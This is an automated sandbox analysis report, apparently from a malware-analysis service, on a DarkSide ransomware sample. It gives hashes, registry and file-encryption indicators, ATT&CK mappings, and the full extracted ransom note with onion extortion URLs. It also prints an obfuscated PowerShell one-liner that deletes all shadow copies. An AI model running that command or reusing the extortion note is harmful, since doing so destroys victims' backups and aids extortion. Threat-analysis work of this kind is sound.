darkside | 89eeac2abad61ef22fd914f9c4efaba04ca830d93ab1611c985531ac6d5e8460

Analysis

max time kernel
111s
max time network
113s
platform
windows7_x64
resource
win7v20210410
submitted
12-05-2021 19:34

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General

Target

68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Size

59KB
MD5

9e779da82d86bcd4cc43ab29f929f73f
SHA1

e6b47869caa776840ab79856b04096152103c71d
SHA256

68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7
SHA512

e0a172b862054b63c26e8852019cbd46b68c6102e4bae802ba851ae950798d336295795c0cc5d68002a0467c62e5800f1ecfdae05de2709d57bcc31375276bb7

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.341d6443.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 30GB data. These files include: - Accounting - Finance - Internal documents - Insurance Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/88/EbDyhFDs_z2hYxVR0XHv4S3ZzHUrKh4rqa3bgZ44Og-ORPgEAgMjzoTDuM46leXv On the page you will find examples of files that have been downloaded. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/KB0LXKYKN6E96Z7RFYWCEI6NM03TX93VZCL5EDA4IVPXUIQQZBG2ZEG269ZIFSFM When you open our website, put the following data in the input form: Key: 9mMrqcP7meAPxAvXF25ONPJ4KqIozRuGzFKqvsN4XCuThdVZqteuONtPOu4gYqMXcEcWUx5wELPmbMsI2CcmFySRZJDqPLc8rvxUGJg12wuZki8EizCFaG5L8oQTfgOCvMrTkxmSmVhcSjQt340z9fXWhyQzy96XBkwAzIWp5uviJyAZ9ZBKDlodGa6SDkIFdYVlVQi7R9qzQE4G2KqmQ6Tmim4kCalkH4dBxGYkUC1wCyCncUMAWD7egCaKoKGlHiK99ANxmxFulbvoV8vjn2ArqDm46RNzoMk8C9QGpPsPL0GGppW1izBwguSXug4DrPjvvAmZVJzLrGx0LEH8srhneZnfrSLHm2tDwmOog8obV8IMYF41AuvVX1JyzDkhU282ECvBXDBb7URumIHdSnnVOKCVTKmuC1R3srHwxmd6RweVC1IkvHD7Bt7ybXffJVfRkyhMdpXHLREpoWItO1tlQZxvBUKZlrd7hJGSwZSlR3NWx61XMxuptxrXt7ZOHNJ4AkeJ2FvepgCazbuV57FP38CVC4mHsxyBWCDioj4RmEhA0AMn5Z5 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/blog/article/id/88/EbDyhFDs_z2hYxVR0XHv4S3ZzHUrKh4rqa3bgZ44Og-ORPgEAgMjzoTDuM46leXv

http://darksidfqzcuhtk2.onion/KB0LXKYKN6E96Z7RFYWCEI6NM03TX93VZCL5EDA4IVPXUIQQZBG2ZEG269ZIFSFM

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 14 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\CloseWatch.crw.341d6443	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
File opened for modification	C:\Users\Admin\Pictures\ExportUnpublish.raw.341d6443	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
File opened for modification	C:\Users\Admin\Pictures\WatchRename.raw.341d6443	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
File opened for modification	C:\Users\Admin\Pictures\WriteRename.png.341d6443	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
File renamed	C:\Users\Admin\Pictures\InstallComplete.png => C:\Users\Admin\Pictures\InstallComplete.png.341d6443	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
File opened for modification	C:\Users\Admin\Pictures\InstallComplete.png.341d6443	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
File renamed	C:\Users\Admin\Pictures\SaveOptimize.crw => C:\Users\Admin\Pictures\SaveOptimize.crw.341d6443	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
File renamed	C:\Users\Admin\Pictures\WatchRename.raw => C:\Users\Admin\Pictures\WatchRename.raw.341d6443	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
File renamed	C:\Users\Admin\Pictures\WriteRename.png => C:\Users\Admin\Pictures\WriteRename.png.341d6443	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
File renamed	C:\Users\Admin\Pictures\CloseWatch.crw => C:\Users\Admin\Pictures\CloseWatch.crw.341d6443	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
File renamed	C:\Users\Admin\Pictures\ConvertResolve.crw => C:\Users\Admin\Pictures\ConvertResolve.crw.341d6443	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
File renamed	C:\Users\Admin\Pictures\ExportUnpublish.raw => C:\Users\Admin\Pictures\ExportUnpublish.raw.341d6443	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
File opened for modification	C:\Users\Admin\Pictures\ConvertResolve.crw.341d6443	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
File opened for modification	C:\Users\Admin\Pictures\SaveOptimize.crw.341d6443	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\341d6443.BMP"	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\341d6443.BMP"	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallpaperStyle = "10"	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe

Modifies registry class 5 IoCs

Processes:

68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\341d6443.ico"	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443\ = "341d6443"	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exe68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe

pid	process
912	powershell.exe
912	powershell.exe
1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeSecurityPrivilege	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeTakeOwnershipPrivilege	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeLoadDriverPrivilege	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeSystemProfilePrivilege	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeSystemtimePrivilege	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeProfSingleProcessPrivilege	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeIncBasePriorityPrivilege	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeCreatePagefilePrivilege	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeBackupPrivilege	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeRestorePrivilege	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeShutdownPrivilege	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeDebugPrivilege	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeSystemEnvironmentPrivilege	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeRemoteShutdownPrivilege	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeUndockPrivilege	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeManageVolumePrivilege	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: 33	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: 34	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: 35	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeDebugPrivilege	912	powershell.exe
Token: SeBackupPrivilege	644	vssvc.exe
Token: SeRestorePrivilege	644	vssvc.exe
Token: SeAuditPrivilege	644	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe

description	pid	process	target process
PID 1872 wrote to memory of 912	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe	powershell.exe
PID 1872 wrote to memory of 912	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe	powershell.exe
PID 1872 wrote to memory of 912	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe	powershell.exe
PID 1872 wrote to memory of 912	1872	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
"C:\Users\Admin\AppData\Local\Temp\68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:912

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:644

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5
6f342e9161e85caac1a2a3d2526a9110

SHA1
1be2bd7269c56802c80d82849eff1dde2e987ee8

SHA256
7b44a501572f537ac640273808696bdbb6745029e45c00443cdc7fb7e0256745

SHA512
d62bd45bc980c1162147e6895502e7c4f65f8ce0e4f39962016e8bad7fb0e3037cb1cd7c1ed54e6252af6c022fbc9c1d51d07d16a5470e263a9cb28e2e0d5bed

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
8e8ae682256cfa4045f41c50be73bce3

SHA1
114fe5bf02bb429ff3df60e311b29dee1e646c75

SHA256
fe8a510581dfb16ccd52432f59b80b8fa67f38a11cc7b4df60c5dd6e5e751c95

SHA512
41ee064d2c250e6bdc48174397e2938dab777c7797b3ba4c2d74298f1a52d642236a2ac8c7f45dbf9705a47a3b84fa9e4abd1758e9afedb4517a26d6e7dc6690

Download Submit
memory/912-66-0x0000000002070000-0x0000000002071000-memory.dmp

Filesize
4KB

Download
memory/912-63-0x0000000002030000-0x0000000002031000-memory.dmp

Filesize
4KB

Download
memory/912-64-0x000000001ABA0000-0x000000001ABA1000-memory.dmp

Filesize
4KB

Download
memory/912-65-0x0000000002550000-0x0000000002551000-memory.dmp

Filesize
4KB

Download
memory/912-67-0x000000001AB20000-0x000000001AB22000-memory.dmp

Filesize
8KB

Download
memory/912-68-0x000000001AB24000-0x000000001AB26000-memory.dmp

Filesize
8KB

Download
memory/912-69-0x000000001C5F0000-0x000000001C5F1000-memory.dmp

Filesize
4KB

Download
memory/912-70-0x000000001C410000-0x000000001C411000-memory.dmp

Filesize
4KB

Download
memory/912-62-0x000007FEFB881000-0x000007FEFB883000-memory.dmp

Filesize
8KB

Download
memory/912-61-0x0000000000000000-mapping.dmp

Download
memory/1872-60-0x0000000075631000-0x0000000075633000-memory.dmp

Filesize
8KB

Download